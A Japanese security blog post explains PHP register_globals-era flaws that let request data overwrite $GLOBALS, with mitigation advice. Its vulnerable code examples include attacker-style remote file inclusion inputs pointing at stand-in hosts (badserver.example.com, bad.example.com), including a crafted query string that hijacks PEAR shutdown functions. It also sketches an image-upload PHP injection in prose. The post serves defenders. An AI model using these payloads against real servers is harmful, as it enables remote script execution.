追記 2007/11/06: 現在のリリース版(4.4.7, 5.2.4)ではこの脆弱性は修正されていす。これより以前のPHPでも修正されていますが、別の脆弱性があるので最新リリース版の使用をお奨めします。
追記:PHP 5.1.1、PHP 5.1.2にはPHP 5.1.0で追加された対策がなぜか削除されています。PHP5でosCommerce等、register_globals=onが必須のアプリケーションやimport_request_variable関数を使用したregister_globals=off対策を行っている古いPHPスクリプトなどを動作させる場合には注意が必要です。register_globals=onが必要なアプリケーションへの対処が参考になります。
よろしければWebサイトセキュリティ対策入門も参考にしていただけると幸いです。リンク先に目次と書籍の紹介を記載しました。
Hardened-PHP Projectのセキュリティアドバイザリ
http://www.hardened-php.net/advisory_202005.79.html (以下アドバイザリ)
および
http://www.hardened-php.net/globals-problem (以下ホワイトペーパー)
について誤解があったため混乱させてしまったので調査した結果のまとめを書きます。結論から言うとこのアドバイザリはregister_globals=on環境のみ影響を受けると考えられます。ホワイトペーパーで指摘されている$GLOBALS書き換えによるコードの挿入等のコード実行を伴うセキュリティ上の問題は、アドバイザリによって指摘されている$_FILESの初期化時に$GLOBALSを上書きできる事により発生する場合もあります。ユーザが記述したコードが原因で$GLOBALSを書き換えれる場合もあります。
(ホワイトペーパーでは$_FILES以外に、古いPHPバージョンの$_GET/$_POST/$_COOKIEの$GLOBALS書き換え問題についても指摘しています)
2つの問題を同時に説明すると混乱の元ですので別々に説明します。攻撃例を説明した方が解りやすいので私が典型的と考えた攻撃例も付けました。
問題1 -「$_GET/$_POST/$_COOKE/$_FILESの初期化によって$GLOBALS配列が上書きされる問題」
不具合:register_globals=on設定の場合、$_GET/$_POST/$_COOKIE配列の初期化に問題があり$GLOBALS配列を書き換えてしまえる。(PHP 4.3.10以下、PHP 5.0.3以下)register_globals=on設定の場合、$_FILESの初期化に問題があり$GLOBALS配列を書き換えてしまえる。(PHP 4.4.0以下、PHP 5.0.5以下)
この不具合の影響:例えば、システムが設定する$_SERVER[REMOTE_ADDR]が信頼できなくなりPHPレベルでのIPアドレスベースの認証等は役に立たなくなる。$_SERVER[SCRIPT_FILENAME]をライブラリパス指定に利用している場合、リモートスクリプト実行が可能になる場合がある。
備考:この問題PHPが自動的に初期化する$_GET, $_FILES等の配列初期化時に発生します。$_SERVERの改ざんの影響を除くと、グローバル変数を利用する前に初期化するようプログラムされている場合には影響を受けません。
問題1を利用した攻撃例 -「$_SERVER[‘SCRIPT_FILENAME’]の改ざん」
スクリプトのライブラリへのPATHを指定する為に$_SERVER[‘SCRIPT_FILENAME’]等を利用している場合、スクリプトの内部構造を知らなくてもブルートフォース攻撃でサーバ上のPHPスクリプト対してリモートスクリプトの実行を試みることが可能となる。
問題となるようなコードの例
<?php
// 呼び出されたスクリプトのディレクトリを取得
define(‘LIBPATH’, dirname($_SERVER[‘SCRIPT_FILENAME’]) . ‘/lib/’);
// $_SERVER[‘SCRIPT_FILENAME’]はサーバが設定する値なので信頼できる
// はずだが丸ごと$GLOBALSを書き換えられた場合信頼できない。
// ライブラリの初期化
include(LIBPATH . ‘init.php’);
// 攻撃者はLIBPATHに”http://badserver.example.com/bad-script.php\0″
// 等を設定してリモートスクリプトを実行できる
?>
問題2 -「PHPスクリプト中で$GLOBALS配列が上書きされる問題」
不具合:register_globals=on設定の場合、ローカルスコープでもimport_request_variables関数、extract関数、parse_str関数、foreach等で$GLOBALS配列の書き換えが可能となる。グローバルスコープではregister_globals設定に関わらず$GLOBALS配列の書き換えが可能となる。
この問題の影響:既に初期化済みのグローバル変数が汚染された結果としてリモートスクリプトの実行などが可能となる場合がある。
備考:効果的な攻撃には、攻撃者がスクリプトの内部構造を知っている必要がある。ホワイトペーパーにあるようにPEAR.phpも攻撃の対象となる。少なくともPHP 5.0.4ではregister_globals設定のon/offに関わらずmport_request_variables関数、extract関数、parse_str関数を利用しても$GLOBALS配列のローカルスコープ(関数内)での書き換えはからは保護されます。foreach等による$GLOBALSの書き換えも保護されます。しかしグローバルスコープではregister_globals=offであっても保護されません。
問題2を利用した攻撃例 -「$GLOBALS変数の改ざん」
$GLOBALSの改ざんによりPEAR.phpを利用しリモートスクリプトを実行する
問題となるようなコードの例
<?php
// PEARライブラリを初期化
include ‘PEAR.php’;
// 古いコードの実行のためにregister_globals設定に関わらずユーザ
// 変数をグローバルスコープにインポート
// (このようなコードがある事自体がセキュリティホールですが例として)
import_request_variables(‘gp’);
// 本来はシャットダウン関数として登録するつもりのない関数
function bad_function() {
// register_gloabls=offが前提。$GLOBALSへのアクセスは安全(なはず…)
include $GLOBALS[‘some_path’] . ‘/some_file.php’;
}
// 攻撃者は 関数引数がinclude/requireに利用されている関数を
// $GLOBALS[‘_PEAR_shutdown_funcs’]
// に攻撃用の外部スクリプトを呼び出すよう
//http://target/?GLOBALS[_PEAR_shutdown_funcs][0]=[bad_function][]&GLOBALS[some_path]=http://bad.example.com/bad.php
// 等としてリモートスクリプトを実行する。
?>
攻撃には色々なバリエーションが考えられます。例えば、画像ファイルのアップロードをサポートしているサーバの場合で画像が保存されているパスが判っていると、allow_url_fopen=offに設定されていても攻撃が可能になります。細工した画像ファイルをアップロードしローカルの画像ファイルとして保存されるファイルにPHPスクリプトを埋め込み、ローカルファイルシステムから攻撃用のスクリプトを読み込む攻撃が可能となります。
(PHPスクリプトで画像形式をチェックしていてもほんの少しファイルのヘッダ部分を加工するだけでPHPスクリプトを画像ファイルとして取り扱わせる事が可能です。)
この様に特定の条件を満たせば比較的簡単にリモートからの任意スクリプトの実行攻撃が可能になります。「register_globals=onでも安全にプログラムできる」という議論がありましたが古いPHPでregister_globals=onで安全なPHPスクリプト、それもある程度複雑なPHPスクリプトを書くのはかなり難しいと思います。さらに古いPHPのregister_globals=onサポートには非常に大きなセキュリティホールがあったと言えます。古いPHPでregister_globals=onで運用しているWebサーバの危険度はかなり大きいと言えます。
追記:今時register_globals=onが必要なオープンソース製品は無い、と思っていたのですが見つけてしまったので追記します。register_globals=on設定が必要なオープンソース製品の場合はプログラムの内部構造が公開されているため脆弱性があるPHPで運用するのは無謀です。ある製品のソースをさっと斜め読みしたのですがリモートスクリプト実行が可能となる箇所を簡単に(約5分で)見つけることが出来ました。
PHP 4.2以降はregister_globals=offがデフォルト設定です。register_globals=offで運用している限り大きな影響は無いと思いますが、一部の古いスクリプト実行の為に仮想ホストでregister_globals=onになっていたり、不適切なimport_request_variables関数などの使用が無いか確認する方が良いと思います。
参考までに主なPHPの脆弱性をリストアップしました。比較的最近、addslashes関数に致命的なバグも見つかっています。escape_shell_args関数やpg_escape_string関数等を適切な関数を利用していれば良いのですが古いスクリプトではaddslashesが利用されている場合があります。SQLインジェクション等に注意が必要です。strip_tags関数にも同様のバグが見つかっています。strip_tags関数でクロスサイトスクリプティングを防いでいるサイトも要注意です。
最後に、register_globals=OffでPHPを運用し、古いPHPスクリプトに対して安直なregister_globals=Off対応を行っていないWebサイトの管理者の方には無用に大きなご心配をおかけした事をお詫びいたします。
参考:
PHPの脆弱性リスト
http://wiki.ohgaki.net/index.php?PHP%2F%C0%C8%BC%E5%C0%AD%A5%EA%A5%B9%A5%C8
簡易な対策
http://blog.ohgaki.net/index.php/yohgaki/2005/11/12/register_globals_ona_ai_eb_a_oa_ca_a_oam
過去の関連エントリ
http://blog.ohgaki.net/index.php/yohgaki/2005/11/03/phpa_rc_fei_a_oa_oa_fa_sa_le_acsa_oe_afp_1
http://blog.ohgaki.net/index.php/yohgaki/2005/11/02/phpa_rc_fei_a_oa_oa_fa_sa_le_acsa_oe_afp